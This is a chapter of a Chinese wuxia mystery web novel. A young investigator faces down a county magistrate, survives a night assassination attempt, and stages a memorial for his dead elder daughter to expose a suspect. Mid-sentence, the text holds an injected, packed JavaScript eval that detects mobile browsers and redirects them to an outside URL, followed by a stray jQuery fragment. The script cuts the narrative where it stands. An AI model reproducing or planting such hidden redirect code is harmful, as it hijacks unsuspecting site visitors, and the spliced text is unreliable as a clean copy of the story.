清晨,县衙厅堂。
“我说你怎么这么固执,明显的一面之词还信,凶手就是胡二自己!”
“璃姑娘,何必猜忌太多呢。你一不会武功、二初到江湖,对很多事的了解都太浅。”
“是呀,怎么可能和县衙的人扯上关系。他们长期治理有方,都是两袖清风的正直官员。”
一进厅堂,玄狱司二人就围着璃若汐说教起来,边吵边为难地向县令看去。
县令先是一愣,反应过来后神色一沉,不悦道:“璃姑娘?你一个江湖小辈,竟敢随意怀疑官府。赶紧听你青姐的,别白费劲!”
她像是没听到,只在厅堂内旁若无人踱步,东敲敲、西敲敲,直到几名卫兵持枪从四面八方一齐横在她身侧,才道:
“这么大阵仗?大人心里若是没鬼,何必如此动怒。”
说罢略带挑衅瞥了眼县令,转身冲青杨二人道:“我是没什么靠山,但既然来了,定会一查到底。不像有些人,软弱无能,尸位素餐。”
这是在骂玄狱司。
“你!”杨伍笛抄起青也背上的刀就想教训她一顿,被县令拦住,乐呵呵道:“大人莫要动怒,不必和她一般见识。下官备了茶,还请几位到内屋一叙。”
杨伍笛头也不回跟了进去,青也和苏流斐亦随之入内,唯留她一人在大厅和一众卫士们大眼瞪小眼。
“盯着我不累么?”她露出一个友好笑容,从怀里掏出几颗五彩缤纷的糖,抛到他们脑袋上。
侍卫们被糖砸到,虽不疼,却有种被戏耍的感觉,钪的一声提枪逼近几分,她在其中连转身都困难。
玄狱司谈话的两炷香里,她就这么众星环月站在厅堂内,不动声色观察四周,无视射向她的一众不善目光。
夜里,无风,一片漆黑。
另外三人歇在上等客房,璃若汐则被刻意安排到一间婢女住的房内,美名其曰为玄狱司出气。
草席有些扎人,灯内无油,月色被黑压压的乌云彻底挡住。
她闭上眼,凝神静听。
一阵极轻微的窸窸窣窣声自窗外靠近,悄悄绕到房梁处。静止了几瞬,又慢慢移到门口。
“咔嗒”一声,门闩被轻轻扣上。
一步,两步,三步。微风拂过,什么东西贴近了她的床。
寒光一闪,一把镰刀当空劈下,猛地砍向她脖颈。
“铮——”她按下机关,一张半身大的金丝软甲迅速弹起,将那镰刀震开一尺,后又从各方射出数支毒箭,直逼身着黑衣斗篷的神秘人。
令她意外的是,那人闪躲间轻易避开了乱箭,冷笑一声继续挥刀朝她劈来。
她一个翻滚,从床上抄起剑格挡,两兵相接处虎口发麻,剑差点就要脱手而出。就在致命一击即将到来时——
门被一脚踹开。
青也提刀直逼黑衣人,杨伍笛则手持机关,不断向他背后发射暗器,窗外熙熙攘攘围上许多侍卫。
黑衣人和青也一来一回竟丝毫不落下风,眼见被包围也只轻嗤一声,反手一挥,一道内力聚成的刀气破空向璃若汐斩去。
“小心!”青也卸势不及,眼看她已退无可退,焦急道。
她情急之下以一个诡异姿势贴地滑向黑衣人,快碰到他时从袖口掏出柄匕首,刺啦一声堪堪划破那人小腿。
黑衣人吃痛,用力抬腿踢向她脑袋,被青也一掌抗住力道。
她双手护头,还是被击中了——眩晕间,一小片莹白色一闪而过,夹杂在彻底的黑暗中分外显眼。
是女子的小腿。可黑衣人明明是男音,出手力道亦绝非常人可敌。
人越来越多,镰刀手逐渐体力不支,劈空一刀逼退少女后一拳击碎窗户窜出,玄狱司二人紧随其后。
一炷香后,两人面色凝重地回到客房内。
“追到一处分叉地,人突然不见了,地上也没什么机关。”杨伍笛皱着眉,道:“这世上就没有我发现不了的机关!”
“未必。”青也沉声道。
此时灯火通明,整个县衙的人已被警钟敲醒,纷纷涌来。
县令满头大汗不断道歉,想用千两银子和几十匹丝绸让玄狱司息怒。
璃若汐面带深意瞥了眼他随手拿来的银两,一回头和苏流斐对上目光。
“你居然没死,真是太可惜了。”白衣人轻叹道,“还扰我清眠,实在可恶。”
......
无视乱成一锅粥的场面,她环视一圈,神色微冷:“大人,您的二女儿秦柔呢?”
县令诧异道:“小女这两天不在县内,正和夫人一同于清泉山庄度假养心。”
清泉山庄距离此地三百里开外,且山路泥泞,一时半会无法赶到。
“多谢,我只是怕她受惊过度,再落下病根就不好了。”她微笑道。
“不会的,她身子骨好得很,就是最近忧思过度才那样的。”县令摆摆手,不在意道。
她闻言不再追问,待玄狱司收集完证物后回到上房歇下,一觉醒来已是午后。
宰相给的任务还要完成,不能继续耽误时间了。她心中已有轮廓,只差幕后之人送上门来。
“咚——咚——咚——”
这天下午,她独自一人叩响县衙正屋的门,准备仔细忽悠他一番。
“是你?”县令看到进来的是她,神色微沉,准备赶人。
“大人,在下对之前的莽撞行为十分抱歉,特地前来请罪。”她行了个礼,真诚看向县令。
“此番叨扰,只为替大人分忧,还请您听在下一叙。”
他看她一百八十度大转弯的态度,觉得奇怪,犹豫一瞬,抬手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410351|200662||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
示意她坐下:“长话短说吧。”
“若我没记错,马上便是您大女儿七七四十九天忌日了吧。”她微敛神色,沉静地注视对面之人。
县令叹了口气,怀念望向墙上挂画。
“是啊,一转眼这么久了。”
她亦叹了口气,感同身受道:“她一定是个德才兼备的美貌女子。我听说,村民们都很爱戴她。”
“她是我一生中最爱的人,的确如你所言。”
“为何不办一场追悼会呢?”璃若汐抬眸道,“将您女儿生前遗物布置起来,再命人织出她常穿的新衣,辅以佳果纸钱,一并烧给她,让她在天之灵也能感受到您的关爱。”
“这......”县令为难道,“怕会伤了老夫人的心,她刚从悲痛中勉强缓过神来。”
“该有的伤痛从来不会消失,它只是以另一种方式隐藏起来了。”她循循善诱,“不如正视自己最深的伤口,让爱包裹它,伤口才会有真正愈合的一天。”
又费了番口舌,县令终于答应,墨笔一挥让信鸽送往清泉山庄。
“敢问哪位婢女最熟悉您女儿生前衣裳?”她不经意问道。
“不是婢女啊。”县令抚了抚胡须,“她生前穿着都是秦柔一针一线缝制的,没有人比她更了解自己姐姐,也没有人比她更难过。”
“若能让她再亲手缝制几件大小姐常穿的衣裳,烧给姐姐,她一定会不那么悲伤吧。”
县令点了点头,“是啊,柔儿不仅极擅刺绣,膳食上也和她姐姐心意相通,就让她一起准备吧。”
璃若汐唇角微弯,似被触动:“您真是一位有心人。”
五日后,距追悼会仅剩一天,县衙里已热热闹闹挤满了人,目光所及处都是大小姐生前遗物——墙上挂着她的笔墨,桌上是她亲手刺绣的丝绸,就连茶杯亦换成了她最喜爱的一套。
秦柔也已仔细制好几套大小姐常穿的衣裳,亲自下厨烘培出几份姐姐最爱吃的糕点,一脸肃穆端到灵台前摆好。
是夜,百姓们回到家中,县衙里也只余璃若汐一行人——明天就是追悼会,所有人都早早歇下,为接下来的典礼养精蓄锐。
她待一切动静皆无,轻轻敲响玄狱司客房的门,叫上玄狱司二人往三楼御轻功而去。
转角过后第二间房,是大小姐生前卧室。
三楼一片漆黑,连一根针落地的声音都能清晰听见。她示意二人屏息前行,轻轻推开那扇门。
“吱呀”一声,门开了,屋内仍是伸手不见五指。
杨伍笛手上烛火跃动着,忽然间一团黑影闪现——就在房间深处。
他上前半步,烛光贴着黑影缓缓爬升。看清之后,慌乱中蜡烛脱手摔灭,恐惧与严重不适感令他作呕——那是大小姐的脸,死白的,了无生机的,正一瞬不瞬盯着他。